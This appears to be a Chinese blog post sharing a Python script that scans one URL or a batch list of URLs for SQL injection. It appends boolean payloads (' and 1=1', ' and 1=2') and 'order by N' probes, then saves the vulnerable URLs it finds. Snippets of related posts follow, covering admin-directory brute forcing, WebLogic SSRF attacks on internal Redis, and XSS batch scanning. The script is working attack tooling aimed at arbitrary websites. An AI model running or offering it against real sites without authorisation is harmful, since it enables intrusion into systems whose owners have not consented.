python批量检测注入点脚本

# -*- coding:utf-8 -*-
def logo():
    print ("                                               ***                  ")
    print ("                                             *     *                ")
    print ("                    author:                 *       *               ")
    print ("                            Screw            *                      ")
    print ("                                              *****                 ")
    print ("                                                   *                ")
    print ("                                            *       *               ")
    print ("                   blog:                     *     *                ")
    print ("                                               ***                  ")
    print ("                        http://www.cnblogs.com/pojun/               ")
#运行环境python3.0   批量的话,在本目录建一个url.txt文件将注入点导入。
import threading
import requests
i=0
err=‘true‘
exp=[‘ and 1=1‘,‘ and 1=2‘]
chang=[]
new_str=""
#判断注入点
def judge():

    for i in range(2):

        request=url+exp[i]
        try:
            respons1=len(requests.get(request).text)
        except:
            print(u"网站有waf,连接被重置!")
            exit()
        chang.append(respons1)
    if(chang[1]!=chang[0]):
         print(u‘网站======>存在注入!‘)
         field(url)
    else:
         print(u‘网站=======>" 不 "存在注入!‘)

#判断字段(field)
def field(weburl):
    j=0
    a1=""
    a2=""
    while j<30:
        j+=1
        if(j%2!=0):
            request=weburl+" order by "+str(j)
            try:
                a1=len(requests.get(request,timeout=1).text)
            except:
                pass
        else:
            request=weburl+" order by "+str(j)
            try:
                a2=len(requests.get(request,timeout=1).text)
            except:
                print(u"网站有waf,连接被重置!")

        if(a1!=a2 and j>1):
            print(u"字段数为========================>",j-1)
            break
#批量
def piliang():

    str=open(‘url.txt‘,encoding="utf-8").read()
    a=str.split(‘\n‘)
    url_num=len(a)
    for i1 in range(url_num-1):
        chang=[]
        print (a[i1])
        for i2 in range(2):

            request=a[i1]+exp[i2]
            try:

                respons1=len(requests.get(request,timeout=1).text)
            except:
                global err
                err=‘false‘
                print(u"网站有waf,连接被重置!")
                break

            if err==‘true‘:
                chang.append(respons1)
        if err==‘true‘:
            if(chang[1]==chang[0]):
                print(u‘网站========>" 不 "存在注入!‘)
            else:
                print(u‘网站========>存在注入!‘)
                # field(a[i1])
                new_str=a[i1]+‘\n‘
                o=open(‘ture_sql.txt‘,‘a‘)
                o.write(new_str)

        err=‘true‘         

print(u‘1.批量注入,存在本目录的1.txt  2.单点注入,并判断字段数 ‘)
id=int(input("ID? :"))
if(id==1):
    t1=threading.Thread(target=piliang)
    t1.start()
    t1.join()

elif(id==2):
    url=input(‘url :‘)

    judge()
    t2=threading.Thread(target=field,args=(url,))
    t2.join()

else:
    print(u"输入错误!")

logo()

本脚本是在自己学完python练手的第一个脚本,所以结构比较混乱,但是效果还是不错的。基本没有误报!

时间: 2024-08-06 11:57:19

python批量检测注入点脚本的相关文章

python 批量更换图片格式脚本

问题:将某文件下的所有jpg的图片更换为png的图片 简单的实现: # -*- coding:utf-8 -*- from os.path import splitext import glob from PIL import Image def get_all_file(filename): files = glob.glob(filename) return files def to_ather_file(files, type): for jpg in files: im = Image.

python批量爆破后台目录脚本

1 # -*- coding:utf-8 -*- 2 # 运行环境为python3.0 作者:Screw 3 4 import requests 5 url=input("输入你的url :") 6 script=int(input("选择脚本1.asp 2.php 3.jsp 4.sapx :")) 7 true_script="" 8 ture_url="" 9 if script==1: 10 true_script=&

Python批量检测连通性

#!/usr/bin/env python3 #author:zhouxia #date:2016-08-05 import socket def checkip(ipaddr,port):     try:         sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM)         sock.settimeout(3)         sock.connect((ipaddr,port))         return Tru

weblogic SSRF vulhub 漏洞复现及攻击内网redis(附批量检测脚本)

0X01 概述 SSRF(Server-Side Request Forgery, 服务端请求伪造)利用漏洞可以发起网络请求来攻击内网服务.利用SSRF能实现以下效果:1)        扫描内网(主机信息收集,Web应用指纹识别)2)        根据所识别应用发送构造的Payload进行攻击3)        Denial of service 0X02 vulhub weblogic SSRF 漏洞复现 ##环境搭建 下载vulhub:git clone https://github.c

python微信域名或者链接批量检测

好久没上来写博客了,直入主题. 大家经常用google搜索,如何提取搜索结果的链接呢 google搜索结果url提取,F12,来到console端; 粘贴下面语句,回车. var tag=document.getElementsByClassName('r'); for (var i=0;i<tag.length;i++){ var a=tag[i].getElementsByTagName("a"); console.log(a[0].href) } 提取出来,保存到url.t

Python编写SQL注入工具(1)

编写原由:自学了一点SQL注入和Python的知识.虽然,早就有了非常好的注入工具Sqlmap,但自己想写一个自动注入的工具玩玩,写的不好之处,还望不吝指正. 第一部分:注入点测试模块(injectTest.py) #coding=gb2312 import urllib import os import string from re import search class injectTest(): def __init__(self,url=''): self.url=url #待检测网址,

Bash漏洞批量检测工具与修复方案

&amp;amp;lt;img src="http://image.3001.net/images/20140928/14118931103311.jpg!small" title="shellshock-bug-bash-bashbug-938x535.jpg"/&amp;amp;gt;&amp;amp;lt;/strong&amp;amp;gt;&amp;amp;lt;/span&amp;amp;gt;&a

python写的端口扫描脚本

今天看到群里哥们发了一个需求,如下: "如何批量检测一批主机的端口,是否存在,端口都是对外的",感觉不难,就用py写了个小脚本,有问题的地方,还望大家指出,谢谢! #!/usr/bin/env python import socket file = "C:\Users\Administrator\py_demo\ip.txt" port = 80 a = open(file, 'r') b = a.readlines() a.close() for i in b:

【转帖】一款优秀的XSS批量检测工具

一款优秀的XSS批量检测工具 https://www.freebuf.com/sectool/223009.html 必须学习胶水语言才可以啊 至少学会代码的编写与使用. 0×01 简介 NoXss是一个供web安全工程师批量检测xss隐患的脚本工具.其主要用于批量检测,比如甲方内部安全巡检,人工分析千万级的url资产是不现实的,NoXss使用多进程+协程的方式,支持高并发,可以出色的完成这一任务.NoXss从实用主义出发,小巧精致,不如其他扫描器拥有各式各样的高级功能(比如绕过waf.存储型x